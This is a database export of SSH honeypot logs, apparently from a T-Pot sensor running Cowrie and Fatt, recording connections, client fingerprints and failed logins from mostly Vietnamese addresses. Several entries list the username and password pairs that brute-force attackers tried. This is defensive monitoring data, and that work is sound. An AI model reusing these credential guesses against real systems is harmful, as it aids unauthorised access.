25106	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:09:40.546345+03	2021-09-20 14:15:09.66951+03	{"_id": "EwblAnwBvYTbRNuEtxkw", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "eventid": "cowrie.login.failed", "message": "login attempt [changup7/sds0717] failed", "session": "86ca313c6bbd", "@version": "1", "password": "sds0717", "username": "changup7", "timestamp": "2021-09-20T11:09:40.546345Z", "@timestamp": "2021-09-20T11:09:40.546Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	known attacker	\N
25107	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:09:40.55103+03	2021-09-20 14:15:09.671499+03	{"_id": "FAblAnwBvYTbRNuEtxkw", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "eventid": "cowrie.session.closed", "message": "Connection lost after 3 seconds", "session": "f75dfbc026d8", "@version": "1", "duration": 3.4956793785095215, "timestamp": "2021-09-20T11:09:40.551030Z", "@timestamp": "2021-09-20T11:09:40.551Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	known attacker	\N
25108	116.110.220.49	109.199.241.180	Cowrie	2021-09-20 14:09:40.566615+03	2021-09-20 14:15:09.672504+03	{"_id": "FQblAnwBvYTbRNuEtxkw", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["chacha20-poly1305@openssh.com", "aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc", "blowfish-cbc", "cast128-cbc", "arcfour256", "arcfour128", "arcfour"], "geoip": {"ip": "116.110.220.49", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "macCS": ["umac-64-etm@openssh.com", "umac-128-etm@openssh.com", "hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-md5-etm@openssh.com", "hmac-sha2-256-96-etm@openssh.com", "hmac-sha2-512-96-etm@openssh.com", "hmac-sha1-96-etm@openssh.com", "hmac-md5-96-etm@openssh.com", "umac-64@openssh.com", "umac-128@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1", "hmac-md5", "hmac-sha2-256-96", "hmac-sha2-512-96", "hmac-sha1-96", "hmac-md5-96"], "compCS": ["zlib@openssh.com", "zlib", "none"], "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "116.110.220.49", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "curve448-sha512", "ecdh-sha2-nistp521", "ecdh-sha2-nistp384", "ecdh-sha2-nistp256", "ecdh-sha2-1.3.132.0.10", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group-exchange-sha1", "diffie-hellman-group14-sha256", "diffie-hellman-group15-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group17-sha512", "diffie-hellman-group18-sha512", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "rsa2048-sha256", "rsa1024-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519-cert-v01@openssh.com", "ssh-ed448-cert-v01@openssh.com", "ecdsa-sha2-nistp521-cert-v01@openssh.com", "ecdsa-sha2-nistp384-cert-v01@openssh.com", "ecdsa-sha2-nistp256-cert-v01@openssh.com", "ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com", "ssh-rsa-cert-v01@openssh.com", "ssh-dss-cert-v01@openssh.com", "ssh-ed25519", "ssh-ed448", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "ecdsa-sha2-1.3.132.0.10", "rsa-sha2-256", "rsa-sha2-512", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: fda360b1b4f4d3455cb75c6e7edb1d11", "session": "53def5f3cfdc", "@version": "1", "timestamp": "2021-09-20T11:09:40.566615Z", "@timestamp": "2021-09-20T11:09:40.566Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}}	1	\N	cowrie.client.kex	\N	\N	\N
25109	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:09:40.741001+03	2021-09-20 14:15:09.6735+03	{"_id": "FgblAnwBvYTbRNuEtxkw", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "eventid": "cowrie.session.closed", "message": "Connection lost after 2 seconds", "session": "a945c314fc03", "@version": "1", "duration": 2.59004807472229, "timestamp": "2021-09-20T11:09:40.741001Z", "@timestamp": "2021-09-20T11:09:40.741Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	\N	\N
25110	116.105.211.46	109.199.241.180	Cowrie	2021-09-20 14:09:41.1867+03	2021-09-20 14:15:09.674499+03	{"_id": "FwblAnwBvYTbRNuEtxkw", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.105.211.46", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "116.105.211.46", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-AsyncSSH_2.1.0'", "session": "42c3e721ce53", "version": "b'SSH-2.0-AsyncSSH_2.1.0'", "@version": "1", "timestamp": "2021-09-20T11:09:41.186700Z", "@timestamp": "2021-09-20T11:09:41.186Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	\N	\N
25111	115.72.130.93	109.199.241.180	Cowrie	2021-09-20 14:09:41.219105+03	2021-09-20 14:15:09.6765+03	{"_id": "GAblAnwBvYTbRNuEtxkw", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "115.72.130.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "115.72.130.93", "eventid": "cowrie.login.failed", "message": "login attempt [chiangmai2/0856149100] failed", "session": "490ee088a5c2", "@version": "1", "password": "0856149100", "username": "chiangmai2", "timestamp": "2021-09-20T11:09:41.219105Z", "@timestamp": "2021-09-20T11:09:41.219Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	\N	\N
25112	116.105.211.46	109.199.241.180	Cowrie	2021-09-20 14:09:41.334823+03	2021-09-20 14:15:09.6785+03	{"_id": "GQblAnwBvYTbRNuEtxkw", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.105.211.46", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "116.105.211.46", "eventid": "cowrie.session.closed", "message": "Connection lost after 6 seconds", "session": "8f0fa4d51bfa", "@version": "1", "duration": 6.539722681045532, "timestamp": "2021-09-20T11:09:41.334823Z", "@timestamp": "2021-09-20T11:09:41.334Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	\N	\N
25113	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:09:41.787767+03	2021-09-20 14:15:09.6795+03	{"_id": "GgblAnwBvYTbRNuEuhmN", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "27.69.246.93", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 46944, "timestamp": "2021-09-20T11:09:41.787767", "@timestamp": "2021-09-20T11:09:41.787Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
25114	27.69.246.93	109.199.241.180	Fatt	2021-09-20 14:09:42.06549+03	2021-09-20 14:15:09.68047+03	{"_id": "GwblAnwBvYTbRNuEuhmO", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "src_ip": "27.69.246.93", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519-cert-v01@openssh.com,ssh-ed448-cert-v01@openssh.com,ecdsa-sha2-nistp521-cert-v01@openssh.com,ecdsa-sha2-nistp384-cert-v01@openssh.com,ecdsa-sha2-nistp256-cert-v01@openssh.com,ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com,ssh-rsa-cert-v01@openssh.com,ssh-dss-cert-v01@openssh.com,ssh-ed25519,ssh-ed448,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,ecdsa-sha2-1.3.132.0.10,rsa-sha2-256,rsa-sha2-512,ssh-rsa,ssh-dss", "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "ccacts": "zlib@openssh.com,zlib,none", "ccastc": "zlib@openssh.com,zlib,none", "ceacts": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "ceastc": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "client": "SSH-2.0-AsyncSSH_2.1.0", "cmacts": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "cmastc": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 46944, "dest_port": 22, "timestamp": "2021-09-20T11:09:42.065490", "@timestamp": "2021-09-20T11:09:42.065Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
25121	116.110.220.49	109.199.241.180	Cowrie	2021-09-20 14:09:41.91297+03	2021-09-20 14:15:09.690501+03	{"_id": "LQblAnwBvYTbRNuEuxkn", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.110.220.49", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "116.110.220.49", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-AsyncSSH_2.1.0'", "session": "aea3bf48b099", "version": "b'SSH-2.0-AsyncSSH_2.1.0'", "@version": "1", "timestamp": "2021-09-20T11:09:41.912970Z", "@timestamp": "2021-09-20T11:09:41.912Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	\N	\N
25115	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:09:41.782762+03	2021-09-20 14:15:09.682499+03	{"_id": "HQblAnwBvYTbRNuEuxkn", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 27.69.246.93:46944 (192.168.176.2:22) [session: 5acc1808d524]", "session": "5acc1808d524", "@version": "1", "protocol": "ssh", "src_port": 46944, "dest_port": 22, "timestamp": "2021-09-20T11:09:41.782762Z", "@timestamp": "2021-09-20T11:09:41.782Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	\N	\N
25116	116.110.220.49	109.199.241.180	Cowrie	2021-09-20 14:09:41.895261+03	2021-09-20 14:15:09.683501+03	{"_id": "HgblAnwBvYTbRNuEuxkn", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.110.220.49", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "116.110.220.49", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 116.110.220.49:33022 (192.168.176.2:22) [session: aea3bf48b099]", "session": "aea3bf48b099", "@version": "1", "protocol": "ssh", "src_port": 33022, "dest_port": 22, "timestamp": "2021-09-20T11:09:41.895261Z", "@timestamp": "2021-09-20T11:09:41.895Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	\N	\N
25117	116.110.220.49	109.199.241.180	Cowrie	2021-09-20 14:09:41.556841+03	2021-09-20 14:15:09.685506+03	{"_id": "KQblAnwBvYTbRNuEuxkn", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.110.220.49", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "116.110.220.49", "eventid": "cowrie.login.failed", "message": "login attempt [matt/matt] failed", "session": "53def5f3cfdc", "@version": "1", "password": "matt", "username": "matt", "timestamp": "2021-09-20T11:09:41.556841Z", "@timestamp": "2021-09-20T11:09:41.556Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	\N	\N
25118	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:09:41.785683+03	2021-09-20 14:15:09.686503+03	{"_id": "KgblAnwBvYTbRNuEuxkn", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-AsyncSSH_2.1.0'", "session": "5acc1808d524", "version": "b'SSH-2.0-AsyncSSH_2.1.0'", "@version": "1", "timestamp": "2021-09-20T11:09:41.785683Z", "@timestamp": "2021-09-20T11:09:41.785Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	\N	\N
25119	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:09:41.838571+03	2021-09-20 14:15:09.687501+03	{"_id": "KwblAnwBvYTbRNuEuxkn", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "eventid": "cowrie.session.closed", "message": "Connection lost after 2 seconds", "session": "86ca313c6bbd", "@version": "1", "duration": 2.8177101612091064, "timestamp": "2021-09-20T11:09:41.838571Z", "@timestamp": "2021-09-20T11:09:41.838Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	known attacker	\N
25120	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:09:41.892181+03	2021-09-20 14:15:09.6885+03	{"_id": "LAblAnwBvYTbRNuEuxkn", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "eventid": "cowrie.login.failed", "message": "login attempt [root/@] failed", "session": "62d0772e9307", "@version": "1", "password": "@", "username": "root", "timestamp": "2021-09-20T11:09:41.892181Z", "@timestamp": "2021-09-20T11:09:41.892Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	known attacker	\N
25122	115.72.130.93	109.199.241.180	Cowrie	2021-09-20 14:09:42.049212+03	2021-09-20 14:15:09.6915+03	{"_id": "LgblAnwBvYTbRNuEuxkn", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "115.72.130.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "115.72.130.93", "eventid": "cowrie.login.failed", "message": "login attempt [support1/support1] failed", "session": "4bc21f302bb8", "@version": "1", "password": "support1", "username": "support1", "timestamp": "2021-09-20T11:09:42.049212Z", "@timestamp": "2021-09-20T11:09:42.049Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	\N	\N
